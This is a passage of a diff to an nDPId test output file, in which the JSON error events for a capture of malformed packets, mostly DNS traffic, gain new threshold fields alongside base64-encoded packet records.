00642{"packet_event_id":1,"packet_event_name":"packet","packet_id":65,"source":"badpackets.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":272,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":272,"pkt_l4_len":0,"thread_ts_usec":1495451029466717,"pkt":"xDRrta3IeLr5aHlnCABFAAXcdQIgAOcRRiKDTlH+zLpQ5QA12ScGtpz7Az2FkwABAAAADAABDG5jYjFzZHYwMDkwMQJhZANkbGEDbWlsAAABAAHAHAAGAAEAAAHJAC0IZWFnbGVpYjHAGQtyYW5keS5zbWl0aMAcd7IpKwAAKjAAAAQ4AAk6gAAAA4TAHAAuAAEAAAHJAJsABggCAAADhFkv6OZZIqvWNiQDZGxhA21pbABD42Os2m1X5vb8JOpkofZuJI\/bu2Q5ZMarYoJSGU4f0TjUwtI6TaUJgvqyYNfl+abXMm6hunZ3KtSj70iat3xtcPFQyBu8yX+3+hvYIpGPVTAhpgcS5bCrcsRzkWs="} -00208{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"packet_id":66,"source":"badpackets.pcap","alias":"nDPId-test","l4_data_len":95,"global_ts_usec":1495451704377782} +00308{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"threshold_n":1,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1495451704377782,"packet_id":66,"source":"badpackets.pcap","alias":"nDPId-test","l4_data_len":95,"global_ts_usec":1495451704377782} 00451{"packet_event_id":1,"packet_event_name":"packet","packet_id":66,"source":"badpackets.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":129,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":129,"pkt_l4_len":0,"thread_ts_usec":1495451029466717,"pkt":"xDRrta3IeLr5aHlnCABFAAXcLFogADcR72\/BRGNjzLpQ5QA16EkGJwo+kYmEEAABAAUAAAABAmJnAAAwAAHADAAwAAEAAA4QAIgBAAMFAwEAAatvnBmra+7zeBm9l13suknlkqymM+dxrFdopER\/atXEXpeKon1lB9rWXtPTizfX"} -00209{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"packet_id":67,"source":"badpackets.pcap","alias":"nDPId-test","l4_data_len":261,"global_ts_usec":1495451720070227} +00309{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"threshold_n":1,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1495451720070227,"packet_id":67,"source":"badpackets.pcap","alias":"nDPId-test","l4_data_len":261,"global_ts_usec":1495451720070227} 00674{"packet_event_id":1,"packet_event_name":"packet","packet_id":67,"source":"badpackets.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":295,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":295,"pkt_l4_len":0,"thread_ts_usec":1495451029466717,"pkt":"xDRrta3IeLr5aHlnCABFAAXcf7QgAOQRIpPOJiMDzLpQ5QA1bBYGzcCiF4OFkwABAAAADAABBmlzYXRhcARkYWFzA2RsYQNtaWwAAAEAAcATAAYAAQAAADAAMAhlYWdsZWliMQJhZMAYC3JhbmR5LnNtaXRowBgBMZuVAAAAtAAAABIACTqAAAADhMATAC4AAQAAADAAoAAGCAMAAAC0WS8rbVkh7l0xhgRkYWFzA2RsYQNtaWwAX2YDHFGs++P6KY5jyOnyDe0uBmvRjeLNiVar29Ll1723S4vXnuSWhUWFZRQdEVXqxkbd6V+XrLkpWPckh1R4zgV9PWSNZ8HZUjMZhQWPWXpppn2CEeN7b88KhZ27nzVXi+\/73NKvN1wXzYqVmw0ROQ=="} -00209{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"packet_id":68,"source":"badpackets.pcap","alias":"nDPId-test","l4_data_len":855,"global_ts_usec":1495451745785541} +00309{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"threshold_n":1,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1495451745785541,"packet_id":68,"source":"badpackets.pcap","alias":"nDPId-test","l4_data_len":855,"global_ts_usec":1495451745785541} 01476{"packet_event_id":1,"packet_event_name":"packet","packet_id":68,"source":"badpackets.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":889,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":889,"pkt_l4_len":0,"thread_ts_usec":1495451029466717,"pkt":"xDRrta3IeLr5aHlnCABFAAXcuAIgADYRFDWAx\/RyzLpQ5QA1xd4JH1hTgneEEAABAAIABgALCGNvbnRlbnQ0CG5vdm9wb3JuA2NvbQAAAQABwAwAAQABAAAOEAAExgc9H8AMAC4AAQAADhABIAABBwMAAA4QcNvYgFkGc0W0+Ahub3ZvcG9ybgNjb20AlewZozFU2n96aVRqxQUtXjawCyGgM6B0TzRF56i4jQojMtEEU5RHV2P7Vi\/giydID14A4YyUQ85+uCYlFI0DOCtWk0z5XmpprtC9X+\/T1\/r4JD0uPBpyimV4NZ7fwQxxt5\/3s2rlf4r73xWZZ+3IUuJ2vwbncpUyzu1TuFq+36Vdmu0LH4Wzte\/E0y2pkf37K2RBRQ7Nn\/d+Xj6t5ggL4KWxhT3Q0vSCylzZfyLrz2NK8Qb9WKZPaGXKWrHYVjLVERNJemNdvrQWUyPUJZC8YuSGBgJRiBu7nGJd9NUwi+LJQ8nOWu\/g3XZWYEgJTSqnXRaYhwfpdJtUS4EbhA6YOcBVAAIAAQAADhAADANuczMFZnd3Z2\/AXsBVAAIAAQAADhAABgNuczLBc8BVAAIAAQAADhAABgNuczXBc8BVAAIAAQAADhAABgNuczHBc8BVAAIAAQAADhAABgNuczTBc8BVAC4AAQAADhABIAACBwIAAA4QcNvYgFkGc0W0+Ahub3ZvcG9ybgNjb20AcFsxOk+TskskfmYioP9UewSZSL9WmuTUot1PfZFKaiFZLalRXKlbejn1Bpls9bVGMNJ8VYVUfoGcuesziAD8mlHukbkBjCvqsQLQJlUn18HhsM8Un6BUiQsAyEQsQp5HXtsXSzUuW2h7pa5HvFt51KDRqdLdfTwvCR7QFOYApeIeE7jGd14b6fcFUUntTWakr8Diay1Cx6MEqchNtPP8y5WWowh4rqtf9abZ6MihUGhOYq4GAOz7667QkstI2cH0PhPu2Q\/5ONAvjTiLfKSfgeeGC8VSswFyq2aFb6HIlVmYOK1XmDe3BmP7FLuXhq9PlJ6aBBY41kBThidqiIzU58GrAAEAAQAADhAABGjskh7BhwABAAEAAA4QAATAYM65wW8AAQABAAAOEAAEJTBzbsG9AAEAAQAADhAABC6l7FHBmQABAAEAAA4QAASAx\/RywasALgABAAAOEAEdAAEHAw=="} -00209{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"packet_id":69,"source":"badpackets.pcap","alias":"nDPId-test","l4_data_len":728,"global_ts_usec":1495451748818219} +00309{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"threshold_n":2,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1495451748818219,"packet_id":69,"source":"badpackets.pcap","alias":"nDPId-test","l4_data_len":728,"global_ts_usec":1495451748818219} 01303{"packet_event_id":1,"packet_event_name":"packet","packet_id":69,"source":"badpackets.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":762,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":762,"pkt_l4_len":0,"thread_ts_usec":1495451029466717,"pkt":"xDRrta3IeLr5aHlnCABFAAXcFmEgADMRoAeBBg0DzLpQ5QA14pUIoA41h4GEEAABAAMABAANBnRpbWUtYQRuaXN0A2dvdgAAAQABwAwAAQABAAAHCAAEgQYPHMAMAC4AAQAABwgAnAABBwMAAAcIWSp7HVkhN25NKgRuaXN0A2dvdgCGDxP8mtTYURB\/z7B7zxG9M2cDPFjwCkCpyC8hiadTCV1wXBnQsMkH14gORQid9hZZkwqvAJKxlHHGFpFXs3GK70k31UcnglQglR+Jb8PvkvYMpqGZLiMdOZ+8aMQzLgN424FbMJ7np\/GSsY0NKbDsZWUKs5FEyvfl5LyBAXKP1cAMAC4AAQAABwgAnAABBwMAAAcIWSp7HVkhN25p9QRuaXN0A2dvdgCYOPJp1LyXHjTZERVC1mhE\/fFAgBPnHg5CzHCfHFW\/kHrSlPUKJrKTtWO2J6nhnsslWGL7StwY\/Ds0w3d1K1BK2EXHmf7JoxCpUcbjrJzE2AWNOuFyYMsitmrbg7hKpTz5YORW9N+9SgnPiRBdVePJPZ0ZX+5rKPwGXiVkzOvJt8D3AAIAAQAABwgABgNnZWHA98D3AAIAAQAABwgABgNiZWHA98D3AC4AAQAABwgAnAACBwIAAAcIWSpvIFkhMlpNKgRuaXN0A2dvdgB\/AugCl6Rz+sTdMBLd\/b9WzbTmwtSJRElGSiFaNkIXGL85DwZ8CN5XIraessCeREIcUwZxVSCZqTN+jQfSqvs0RCCsELGmZy1\/6te8q\/BHGZ6r5Yfp\/FixyK0YEzCx9kE6yxKwCHgAiZ9RYjXpdk7jwKD9iHCh9psgrmi4EqWisMHDAC4AAQAABwgAnAACBwIAAAcIWSpvIFkhMlpp9QRuaXN0A2dvdgClTY7jIx2EAO1rRXMS+rZG5e8+PelDpKXOMRzGWIjrQbBJVXqIaZDLeBgBTWgx3tBkiLlUy1bOdR3MF5sPTTggHRJuEc8rRcMhHY6s0g2zr9CNylE8o5Mcs+HT"} -00210{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"packet_id":70,"source":"badpackets.pcap","alias":"nDPId-test","l4_data_len":1467,"global_ts_usec":1495451756278524} +00310{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"threshold_n":3,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1495451756278524,"packet_id":70,"source":"badpackets.pcap","alias":"nDPId-test","l4_data_len":1467,"global_ts_usec":1495451756278524} 02310{"packet_event_id":1,"packet_event_name":"packet","packet_id":70,"source":"badpackets.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":1501,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":1501,"pkt_l4_len":0,"thread_ts_usec":1495451029466717,"pkt":"xDRrta3IeLr5aHlnCABFAAXcGOsgADcRhwqY2AekzLpQ5QA1zeYLg6WA7YmEAAABAAIABQAPA25zMwNpcnMDZ292AAABAAHADAABAAEAABwgAASY2AuEwAwALgABAAAcIAEbAAEIAwAAHCBZK47XWSJGR6xiA2lycwNnb3YAUaOVDQJwftL9gtrUM8RfLB6qSOBXZLTc9Hok\/6MIUcY0p+ZXalWKsGuV0qSYiHp0ZrSW1UB4GFMJyv7xm1d\/Po\/u1S5R08MeFVA+R2ZtvHBErM7kw\/4vE2A51h\/i02hoLPEPwvEXL7BXREwrjYl2TQspuWnPYjiGXk63g8xr6TFgux7jb2BRXQ4LBHynjXnnvpt3XYYGbcmWAyGPAsOf9hQuEFUTW8B15ZH+YidKzPQ1rU9pRShm7Pd3FpYAiKLk4i351zYZI20c8JNuwICCSg9UMWYXsfMXQ+CnSvsgbvApAMm6rh0DMcwkAJPfalPrGBEcb5Z1jx4wdGgAiCBer8AQAAIAAQAAHCAABgNuczHAEMAQAAIAAQAAHCAABgNuczLAEMAQAAIAAQAAHCAAAsAMwBAAAgABAAAcIAAGA25zNMAQwBAALgABAAAcIAEbAAIIAgAAHCBZK47XWSJGR6xiA2lycwNnb3YAe+rn2tmycvJNbOGLWjldMLdA22UT7xzZh6HJYvuJrE5+qGxJ\/K9yON+rGW5STnO8kj2d7HsVVtkx7ts0\/\/XDYlHvMvWnWK\/Dq3C0qhX4Y4OXOL2k9lkOXDls5DytCZ+qVKg+alb58DzoDOU5yVHtP9rMKfk9VxtfA9LIEQBilUu0fUAjg6x8b2zwKV\/jt6dY6YdR2oAGxQWcfwUhdEB3XcH5NlvhjHUGSlAUPWnm6zjJAgd2MgFTKihm5f+gD+mtCN9sSjuoCyjb\/J+INEr+l8If9XkT6uujAFdNt62xgrprlhR\/4ZT3wgiZkdJcmZ4Hrkq2N2BnT7dMThz1hN6ZBcFgAAEAAQAAHCAABJjYB6TBYAAuAAEAABwgARsAAQgDAAAcIFkrjtdZIkZHrGIDaXJzA2dvdgCNfUC+vOaSAIQikt\/wOmN6FcRNH787rVK7vx8EOTihWPPbRHscOApvDuppsQAybpUJQDSnhmKXzmW0RGA6n2G0ciYqXXOsL0P3\/\/ygg+7XWZuYzKb304Zfx6QfhPLSsEP8shH+rTSNdno\/S62Ol7IpIPQ0RCioobQ2UR\/UDEXTGGbKuR4mDZJLFYeh5tIFpoqvTkHShLjF6v2OlcN8aKTXl7dgMdindVnqMLXbceQ\/g0+K8BgVnEE\/6MZYL80Ns\/V8grnGdCpO48BX8ffkLGatTdnf+50+sN\/QX2lbVRYMuygjrQrIMeAro+VDEin8TTXEdrj+U639Pp8xolDwNQMSwXIAAQABAAAcIAAEmNgHpcFyAC4AAQAAHCABGwABCAMAABwgWSuO11kiRkesYgNpcnMDZ292AAiDKcsFAKyZAPT6\/BqMm4YGNjnILP\/RiBRbrxE19HyRiZVJxwCUqilv0dC8z9SJfb+rPNQabkmaQAfOPcKhH1sxV5brmQeQEeenqlUiW5YLjefk+NMQgd+NRuOdvGYchkWl5fnmMau\/HlA+HBNsAZN1e+HH49Qw2zLGAFvFYJOqPF\/HCttPr0DY7fU3q\/deTFsRESwvpQebvinvb3rUKnldKnGamoYPobR4sa3Hc7XJ1UAcE0x56k\/d9TLBNjQCHoPmejklH71ALytcz1kqNyblcIX4lJZisb91+kN14GrJEgCW46spplu2sT6hC4lmdNpv9JaIXIh6VBVmBv4anY3BkgABAAEAABwgAASY2AuFwZIALgABAAAcIAEbAAEIAwAAHCBZK47XWSJGR6xiA2lycwNnb3YAJ3yCZvDhJMpICeF2AdNj6dX83t1aIlZReudVBhsa5qliqrUuu1fMBb1RYQ38UscZhlrQBQAAAAAAAGEBAAAAAAAAQwAAAAAAAADE0AAAxA=="} -00210{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"packet_id":71,"source":"badpackets.pcap","alias":"nDPId-test","l4_data_len":1467,"global_ts_usec":1495451756278901} +00310{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"threshold_n":4,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1495451756278901,"packet_id":71,"source":"badpackets.pcap","alias":"nDPId-test","l4_data_len":1467,"global_ts_usec":1495451756278901} 02307{"packet_event_id":1,"packet_event_name":"packet","packet_id":71,"source":"badpackets.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":1501,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":1501,"pkt_l4_len":0,"thread_ts_usec":1495451029466717,"pkt":"xDRrta3IeLr5aHlnCABFAAXcGO8gADcRhwaY2AekzLpQ5QA1NzILg45YlzKEAAABAAIABQAPA25zMgNpcnMDZ292AAABAAHADAABAAEAABwgAASY2AelwAwALgABAAAcIAEbAAEIAwAAHCBZK47XWSJGR6xiA2lycwNnb3YACIMpywUArJkA9Pr8GoybhgY2Ocgs\/9GIFFuvETX0fJGJlUnHAJSqKW\/R0LzP1Il9v6s81BpuSZpAB849wqEfWzFXluuZB5AR56eqVSJblguN5+T40xCB341G4528ZhyGRaXl+eYxq78eUD4cE2wBk3V74cfj1DDbMsYAW8Vgk6o8X8cK20+vQNjt9Ter915MWxERLC+lB5u+Ke9vetQqeV0qcZqahg+htHixrcdztcnVQBwTTHnqT931MsE2NAIeg+Z6OSUfvUAvK1zPWSo3JuVwhfiUlmKxv3X6Q3XgaskSAJbjqymmW7axPqELiWZ02m\/0lohciHpUFWYG\/hqdjcAQAAIAAQAAHCAABgNuczHAEMAQAAIAAQAAHCAAAsAMwBAAAgABAAAcIAAGA25zM8AQwBAAAgABAAAcIAAGA25zNMAQwBAALgABAAAcIAEbAAIIAgAAHCBZK47XWSJGR6xiA2lycwNnb3YAe+rn2tmycvJNbOGLWjldMLdA22UT7xzZh6HJYvuJrE5+qGxJ\/K9yON+rGW5STnO8kj2d7HsVVtkx7ts0\/\/XDYlHvMvWnWK\/Dq3C0qhX4Y4OXOL2k9lkOXDls5DytCZ+qVKg+alb58DzoDOU5yVHtP9rMKfk9VxtfA9LIEQBilUu0fUAjg6x8b2zwKV\/jt6dY6YdR2oAGxQWcfwUhdEB3XcH5NlvhjHUGSlAUPWnm6zjJAgd2MgFTKihm5f+gD+mtCN9sSjuoCyjb\/J+INEr+l8If9XkT6uujAFdNt62xgrprlhR\/4ZT3wgiZkdJcmZ4Hrkq2N2BnT7dMThz1hN6ZBcFgAAEAAQAAHCAABJjYB6TBYAAuAAEAABwgARsAAQgDAAAcIFkrjtdZIkZHrGIDaXJzA2dvdgCNfUC+vOaSAIQikt\/wOmN6FcRNH787rVK7vx8EOTihWPPbRHscOApvDuppsQAybpUJQDSnhmKXzmW0RGA6n2G0ciYqXXOsL0P3\/\/ygg+7XWZuYzKb304Zfx6QfhPLSsEP8shH+rTSNdno\/S62Ol7IpIPQ0RCioobQ2UR\/UDEXTGGbKuR4mDZJLFYeh5tIFpoqvTkHShLjF6v2OlcN8aKTXl7dgMdindVnqMLXbceQ\/g0+K8BgVnEE\/6MZYL80Ns\/V8grnGdCpO48BX8ffkLGatTdnf+50+sN\/QX2lbVRYMuygjrQrIMeAro+VDEin8TTXEdrj+U639Pp8xolDwNQMSwYAAAQABAAAcIAAEmNgLhMGAAC4AAQAAHCABGwABCAMAABwgWSuO11kiRkesYgNpcnMDZ292AFGjlQ0CcH7S\/YLa1DPEXyweqkjgV2S03PR6JP+jCFHGNKfmV2pVirBrldKkmIh6dGa0ltVAeBhTCcr+8ZtXfz6P7tUuUdPDHhVQPkdmbbxwRKzO5MP+LxNgOdYf4tNoaCzxD8LxFy+wV0RMK42Jdk0LKblpz2I4hl5Ot4PMa+kxYLse429gUV0OCwR8p415576bd12GBm3JlgMhjwLDn\/YULhBVE1vAdeWR\/mInSsz0Na1PaUUoZuz3dxaWAIii5OIt+dc2GSNtHPCTbsCAgkoPVDFmF7HzF0Pgp0r7IG7wKQDJuq4dAzHMJACT32pT6xgRHG+WdY8eMHRoAIggXq\/BkgABAAEAABwgAASY2AuFwZIALgABAAAcIAEbAAEIAwAAHCBZK47XWSJGR6xiA2lycwNnb3YAJ3yCZvDhJMpICeF2AdNj6dX83t1aIlZReudVBhsa5qliqrUuu1fMBb1RYQ38UscZhlrQBQAAAAAAAGEBAAAAAAAAQwAAAAAAAADE0AAAxA=="} -00210{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"packet_id":72,"source":"badpackets.pcap","alias":"nDPId-test","l4_data_len":1467,"global_ts_usec":1495451756278993} +00310{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"threshold_n":5,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1495451756278993,"packet_id":72,"source":"badpackets.pcap","alias":"nDPId-test","l4_data_len":1467,"global_ts_usec":1495451756278993} 02313{"packet_event_id":1,"packet_event_name":"packet","packet_id":72,"source":"badpackets.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":1501,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":1501,"pkt_l4_len":0,"thread_ts_usec":1495451029466717,"pkt":"xDRrta3IeLr5aHlnCABFAAXcGPEgADcRhwSY2AekzLpQ5QA1Q8QLg5NBAMmEAAABAAIABQAPA25zMwNpcnMDZ292AAAcAAHADAAcAAEAABwgABAmEAAwIAAAUwAAAAAAAACQwAwALgABAAAcIAEbABwIAwAAHCBZK47XWSJGR6xiA2lycwNnb3YAggGB5zn+E1Pg+FLMqTHnbMA\/oOer5LeX4aIHpNS4o6eo3\/mQLBqkFditZ2io9gnZB4qh2JsMATiESYiHWEYj0bEtKixiKHmqgPaqgsClUlMc36a53fLyVtyHOsfb4Bn06ipKA\/mFDV0+OoNw8Y3Ho1jSbY7bHubvRM+pfr9JzoRxfb3DWL73ZWluCLfXSQajOLrJJnVQ+P2lNfaTK3czYjjMf3wRU9NKWnRGD4+bDy+2RctwKE\/IMs\/GjQVGFjztYPa6p\/mlAS1K5K4FizcZBjmrNEKa71WUgVe3uiPYOufTuXw7A\/z431698ylT38+Lw74o4px+sIHQ1lAUZBM4AMAQAAIAAQAAHCAABgNuczHAEMAQAAIAAQAAHCAABgNuczLAEMAQAAIAAQAAHCAAAsAMwBAAAgABAAAcIAAGA25zNMAQwBAALgABAAAcIAEbAAIIAgAAHCBZK47XWSJGR6xiA2lycwNnb3YAe+rn2tmycvJNbOGLWjldMLdA22UT7xzZh6HJYvuJrE5+qGxJ\/K9yON+rGW5STnO8kj2d7HsVVtkx7ts0\/\/XDYlHvMvWnWK\/Dq3C0qhX4Y4OXOL2k9lkOXDls5DytCZ+qVKg+alb58DzoDOU5yVHtP9rMKfk9VxtfA9LIEQBilUu0fUAjg6x8b2zwKV\/jt6dY6YdR2oAGxQWcfwUhdEB3XcH5NlvhjHUGSlAUPWnm6zjJAgd2MgFTKihm5f+gD+mtCN9sSjuoCyjb\/J+INEr+l8If9XkT6uujAFdNt62xgrprlhR\/4ZT3wgiZkdJcmZ4Hrkq2N2BnT7dMThz1hN6ZBcFsAAEAAQAAHCAABJjYB6TBbAAuAAEAABwgARsAAQgDAAAcIFkrjtdZIkZHrGIDaXJzA2dvdgCNfUC+vOaSAIQikt\/wOmN6FcRNH787rVK7vx8EOTihWPPbRHscOApvDuppsQAybpUJQDSnhmKXzmW0RGA6n2G0ciYqXXOsL0P3\/\/ygg+7XWZuYzKb304Zfx6QfhPLSsEP8shH+rTSNdno\/S62Ol7IpIPQ0RCioobQ2UR\/UDEXTGGbKuR4mDZJLFYeh5tIFpoqvTkHShLjF6v2OlcN8aKTXl7dgMdindVnqMLXbceQ\/g0+K8BgVnEE\/6MZYL80Ns\/V8grnGdCpO48BX8ffkLGatTdnf+50+sN\/QX2lbVRYMuygjrQrIMeAro+VDEin8TTXEdrj+U639Pp8xolDwNQMSwX4AAQABAAAcIAAEmNgHpcF+AC4AAQAAHCABGwABCAMAABwgWSuO11kiRkesYgNpcnMDZ292AAiDKcsFAKyZAPT6\/BqMm4YGNjnILP\/RiBRbrxE19HyRiZVJxwCUqilv0dC8z9SJfb+rPNQabkmaQAfOPcKhH1sxV5brmQeQEeenqlUiW5YLjefk+NMQgd+NRuOdvGYchkWl5fnmMau\/HlA+HBNsAZN1e+HH49Qw2zLGAFvFYJOqPF\/HCttPr0DY7fU3q\/deTFsRESwvpQebvinvb3rUKnldKnGamoYPobR4sa3Hc7XJ1UAcE0x56k\/d9TLBNjQCHoPmejklH71ALytcz1kqNyblcIX4lJZisb91+kN14GrJEgCW46spplu2sT6hC4lmdNpv9JaIXIh6VBVmBv4anY3ADAABAAEAABwgAASY2AuEwAwALgABAAAcIAEbAAEIAwAAHCBZK47XWSJGR6xiA2lycwNnb3YAUaOVDQJwftL9gtrUM8RfLB6qSOBXZLTc9Hok\/6MIUcY0p+ZXalXQBQAAAAAAAGEBAAAAAAAAQwAAAAAAAADE0AAAxA=="} -00209{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"packet_id":73,"source":"badpackets.pcap","alias":"nDPId-test","l4_data_len":728,"global_ts_usec":1495451760381738} +00309{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"threshold_n":6,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1495451760381738,"packet_id":73,"source":"badpackets.pcap","alias":"nDPId-test","l4_data_len":728,"global_ts_usec":1495451760381738} 01301{"packet_event_id":1,"packet_event_name":"packet","packet_id":73,"source":"badpackets.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":762,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":762,"pkt_l4_len":0,"thread_ts_usec":1495451029466717,"pkt":"xDRrta3IeLr5aHlnCABFAAXcGAEgADMRnmeBBg0DzLpQ5QA1ohMIoLZgAPuEEAABAAMABAANBnRpbWUtYgRuaXN0A2dvdgAAAQABwAwAAQABAAAHCAAEgQYPHcAMAC4AAQAABwgAnAABBwMAAAcIWSqP21khSTdNKgRuaXN0A2dvdgB6DVGNpuOznKvdrQN8bwUpu4PENDRSb+5+syaMGo6RaYqni8IQRlgrlLmn0P9fWLeESttBnO35aSL8o+kaUL7kh56Tzeztgfxvi73UEVovSqcWPBrNHp06FMiCkzzWxYm3rwMsy7tgq5QiEQG82TMM5cM\/UdLrrVKTvePPvapChMAMAC4AAQAABwgAnAABBwMAAAcIWSqP21khSTdp9QRuaXN0A2dvdgAH3ZlJ1Plagxurcne6cVxPIYLgmEuZl+Z8WXRbQC0s7YxnKt0M7zxnZKNLd21OfZCww+HGwHXqGzXhrH5S539DqqjEfHlik\/EheQJBrs2wgJD6BuPbFqZ+\/m62e5E1TenoG46sJm2SbQR4t88KGGo41imZHHAUOlsfMJEWeIhOwsD3AAIAAQAABwgABgNnZWHA98D3AAIAAQAABwgABgNiZWHA98D3AC4AAQAABwgAnAACBwIAAAcIWSpvIFkhMlpNKgRuaXN0A2dvdgB\/AugCl6Rz+sTdMBLd\/b9WzbTmwtSJRElGSiFaNkIXGL85DwZ8CN5XIraessCeREIcUwZxVSCZqTN+jQfSqvs0RCCsELGmZy1\/6te8q\/BHGZ6r5Yfp\/FixyK0YEzCx9kE6yxKwCHgAiZ9RYjXpdk7jwKD9iHCh9psgrmi4EqWisMHDAC4AAQAABwgAnAACBwIAAAcIWSpvIFkhMlpp9QRuaXN0A2dvdgClTY7jIx2EAO1rRXMS+rZG5e8+PelDpKXOMRzGWIjrQbBJVXqIaZDLeBgBTWgx3tBkiLlUy1bOdR3MF5sPTTggHRJuEc8rRcMhHY6s0g2zr9CNylE8o5Mcs+HT"} -00208{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"packet_id":74,"source":"badpackets.pcap","alias":"nDPId-test","l4_data_len":38,"global_ts_usec":1495451763731982} +00308{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"threshold_n":7,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1495451763731982,"packet_id":74,"source":"badpackets.pcap","alias":"nDPId-test","l4_data_len":38,"global_ts_usec":1495451763731982} 00371{"packet_event_id":1,"packet_event_name":"packet","packet_id":74,"source":"badpackets.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":72,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":72,"pkt_l4_len":0,"thread_ts_usec":1495451029466717,"pkt":"eLr5aHlnxDRrta3ICABFAAXcogYgAEARoZXMulDlS2GodAA12qEF7q5VMVqBoAABAA8ABAABA3d3dwNzc2QEbm9hYQNnb3YA"} -00208{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"packet_id":75,"source":"badpackets.pcap","alias":"nDPId-test","l4_data_len":74,"global_ts_usec":1495451779464126} +00308{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"threshold_n":1,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1495451779464126,"packet_id":75,"source":"badpackets.pcap","alias":"nDPId-test","l4_data_len":74,"global_ts_usec":1495451779464126} 00421{"packet_event_id":1,"packet_event_name":"packet","packet_id":75,"source":"badpackets.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":108,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":108,"pkt_l4_len":0,"thread_ts_usec":1495451029466717,"pkt":"xDRrta3IeLr5aHlnCABFAAXcjkogADURn38YivwdzLpQ5QA1IBMGEoHof96EEwABAAAACAABB2R5bmFtaWMJbGliZXJ0eXByA25ldAAAHAABwBQABgABAAAOEAAkBWRucy0xwBQFYWRtaW7A"} -00208{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"packet_id":76,"source":"badpackets.pcap","alias":"nDPId-test","l4_data_len":74,"global_ts_usec":1495451779745556} +00308{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"threshold_n":2,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1495451779745556,"packet_id":76,"source":"badpackets.pcap","alias":"nDPId-test","l4_data_len":74,"global_ts_usec":1495451779745556} 00421{"packet_event_id":1,"packet_event_name":"packet","packet_id":76,"source":"badpackets.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":108,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":108,"pkt_l4_len":0,"thread_ts_usec":1495451029466717,"pkt":"xDRrta3IeLr5aHlnCABFAAXcjksgADURn34YivwdzLpQ5QA1chAGEkLdh+yEEwABAAAACAABB2R5bmFtaWMJbGliZXJ0eXByA25ldAAAAQABwBQABgABAAAOEAAkBWRucy0xwBQFYWRtaW7A"} -00209{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"packet_id":77,"source":"badpackets.pcap","alias":"nDPId-test","l4_data_len":252,"global_ts_usec":1495451779762059} +00309{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection 